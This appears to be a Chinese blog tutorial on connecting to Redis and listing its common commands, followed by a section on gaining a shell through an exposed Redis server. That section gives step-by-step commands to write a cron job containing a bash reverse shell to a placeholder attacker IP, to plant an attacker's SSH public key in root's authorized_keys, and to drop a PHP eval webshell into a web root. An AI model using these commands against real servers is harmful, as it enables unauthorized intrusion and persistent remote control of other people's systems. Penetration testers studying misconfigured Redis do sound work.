redis服务连接及常规操作和redis服务getshell

2024-05-13 13:20

本文主要是介绍redis服务连接及常规操作和redis服务getshell,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

简介

Redis,英文全称是Remote Dictionary Server(远程字典服务),是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

redis服务于传统服务器不同,redis是内存数据库,Redis的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过10万次读写操作,因此redis被广泛应用于缓存。

连接redis服务

首先下载redis-cli(专用于redis服务的命令程序)

下载程序

wget http://download.redis.io/redis-stable.tar.gz

解压

tar -zxf redis-stable.tar.gz

编译

cd redis-stable  #进入目录

make                #编译文件

进入解压好的文件夹(这里我将此程序换了位置改了名字)

编译文件

此时会出现很多数据,不要退出,可能会跑一会儿

创建链接

编译完成后需要将src目录下的redis_cli程序创建一个链接,方便后续利用

ln -s /home/kali/tools/redis_连接工具/src/redis-cli /usr/local/bin/redis-cli

这样就能再任何目录运行此命令

redis的一些常用命令

  1. 启动 Redis 服务:

    redis-server
  2. 连接到 Redis 服务:

    redis-cli
  3. 设置键值对:

    SET key value
  4. 获取键对应的值:

    GET key
  5. 删除键值对:

    DEL key
  6. 检查键是否存在:

    EXISTS key
  7. 设置键的过期时间:

    EXPIRE key seconds
  8. 查看键的剩余过期时间:

    TTL key
  9. 查看键的类型:

    TYPE key
  10. 获取所有键:

    KEYS pattern
  11. 设置列表:

    LPUSH key value1 [value2 ...]
  12. 获取列表:

    LRANGE key start stop
  13. 设置哈希表:

    HSET key field value
  14. 获取哈希表中的值:

    HGET key field
  15. 设置集合:

    SADD key member1 [member2 ...]
  16. 获取集合:

    SMEMBERS key
  17. 获取有关Redis服务器的信息和统计信息:

    info
  18. 获取索引为 0 的数据库中键的数量

    dbsize

redis-getshell

常规的拿到shell的方式有三种

  1. 写定时任务拿到shell
  2. 通过写ssh key的方式拿到shell
  3. 直接再目录里写webshell

写定时任务拿到shell

其实和常规写定时任务是一样的道理,也都是写个文件到crontalbs这些定时文件夹里,或者直接覆盖crontab

  1. 第一步:上线redis

    redis-cli -h 10.129.136.187 -p 6379

  2. 第二步:设置文件夹路径为/var/spool/cron/crontabs

    config set dir /var/spool/cron/crontabs

  3. 第三步:设置备份文件名

    config set dbfilename getshell

  4. 第四步:设置键对值

    set shell '\n\n\n*****bash -i >& /dev/tcp/攻击机ip/攻击机监听端口 0>&1'

  5. 第五步:保存

    save

然后等待一会儿等攻击机监听到流量即可

通过写ssh key的方式拿到shell

此方法成功的先决条件是

  1. redis服务是以root登录的
  2. 开始22端口并且允许使用密钥登录
  1. 首先攻击机本地生成一个公钥文件

    ssh-keygen -t rsa

  2. 然后得到一个公钥和私钥
  3. 给公钥添加换行符写到txt文件里

    (echo -e "\n\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n\n") > pub.txt

  4. 写入公钥到被攻击机

    config set dir /root/.ssh
    config set dbfilename 'authorized_keys'
    config set shell 'pub.txt的值'
    save
  5. 最后使用攻击机生成的私钥登录即可
    ssh -i id_rsa root@被攻击机ip

直接写webshell

先决条件

  1. 已知网站根目录
  2. 登录redis的用户在网站根目录有可写权限
  1. config set dir /var/www/123.com/html
  2. config set dbfilename shell.php
  3. set shell '<?= eval($_POST[a]);>'
  4. save

后续直接使用蚁剑冰蝎这些上线即可

这篇关于redis服务连接及常规操作和redis服务getshell的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/985819

相关文章

MySQL中的交叉连接、自然连接和内连接查询详解

《MySQL中的交叉连接、自然连接和内连接查询详解》:本文主要介绍MySQL中的交叉连接、自然连接和内连接查询,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、引入二、交php叉连接(cross join)三、自然连接(naturalandroid join)四

python连接本地SQL server详细图文教程

《python连接本地SQLserver详细图文教程》在数据分析领域,经常需要从数据库中获取数据进行分析和处理,下面:本文主要介绍python连接本地SQLserver的相关资料,文中通过代码... 目录一.设置本地账号1.新建用户2.开启双重验证3,开启TCP/IP本地服务二js.python连接实例1.

Redis实现延迟任务的三种方法详解

《Redis实现延迟任务的三种方法详解》延迟任务(DelayedTask)是指在未来的某个时间点,执行相应的任务,本文为大家整理了三种常见的实现方法,感兴趣的小伙伴可以参考一下... 目录1.前言2.Redis如何实现延迟任务3.代码实现3.1. 过期键通知事件实现3.2. 使用ZSet实现延迟任务3.3

Redis分片集群的实现

《Redis分片集群的实现》Redis分片集群是一种将Redis数据库分散到多个节点上的方式,以提供更高的性能和可伸缩性,本文主要介绍了Redis分片集群的实现,具有一定的参考价值,感兴趣的可以了解一... 目录1. Redis Cluster的核心概念哈希槽(Hash Slots)主从复制与故障转移2.

Ubuntu中远程连接Mysql数据库的详细图文教程

《Ubuntu中远程连接Mysql数据库的详细图文教程》Ubuntu是一个以桌面应用为主的Linux发行版操作系统,这篇文章主要为大家详细介绍了Ubuntu中远程连接Mysql数据库的详细图文教程,有... 目录1、版本2、检查有没有mysql2.1 查询是否安装了Mysql包2.2 查看Mysql版本2.

Python3.6连接MySQL的详细步骤

《Python3.6连接MySQL的详细步骤》在现代Web开发和数据处理中,Python与数据库的交互是必不可少的一部分,MySQL作为最流行的开源关系型数据库管理系统之一,与Python的结合可以实... 目录环境准备安装python 3.6安装mysql安装pymysql库连接到MySQL建立连接执行S

Mysql表的简单操作(基本技能)

《Mysql表的简单操作(基本技能)》在数据库中,表的操作主要包括表的创建、查看、修改、删除等,了解如何操作这些表是数据库管理和开发的基本技能,本文给大家介绍Mysql表的简单操作,感兴趣的朋友一起看... 目录3.1 创建表 3.2 查看表结构3.3 修改表3.4 实践案例:修改表在数据库中,表的操作主要

C# WinForms存储过程操作数据库的实例讲解

《C#WinForms存储过程操作数据库的实例讲解》:本文主要介绍C#WinForms存储过程操作数据库的实例,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、存储过程基础二、C# 调用流程1. 数据库连接配置2. 执行存储过程(增删改)3. 查询数据三、事务处

Java使用Curator进行ZooKeeper操作的详细教程

《Java使用Curator进行ZooKeeper操作的详细教程》ApacheCurator是一个基于ZooKeeper的Java客户端库,它极大地简化了使用ZooKeeper的开发工作,在分布式系统... 目录1、简述2、核心功能2.1 CuratorFramework2.2 Recipes3、示例实践3

Java利用JSONPath操作JSON数据的技术指南

《Java利用JSONPath操作JSON数据的技术指南》JSONPath是一种强大的工具,用于查询和操作JSON数据,类似于SQL的语法,它为处理复杂的JSON数据结构提供了简单且高效... 目录1、简述2、什么是 jsONPath?3、Java 示例3.1 基本查询3.2 过滤查询3.3 递归搜索3.4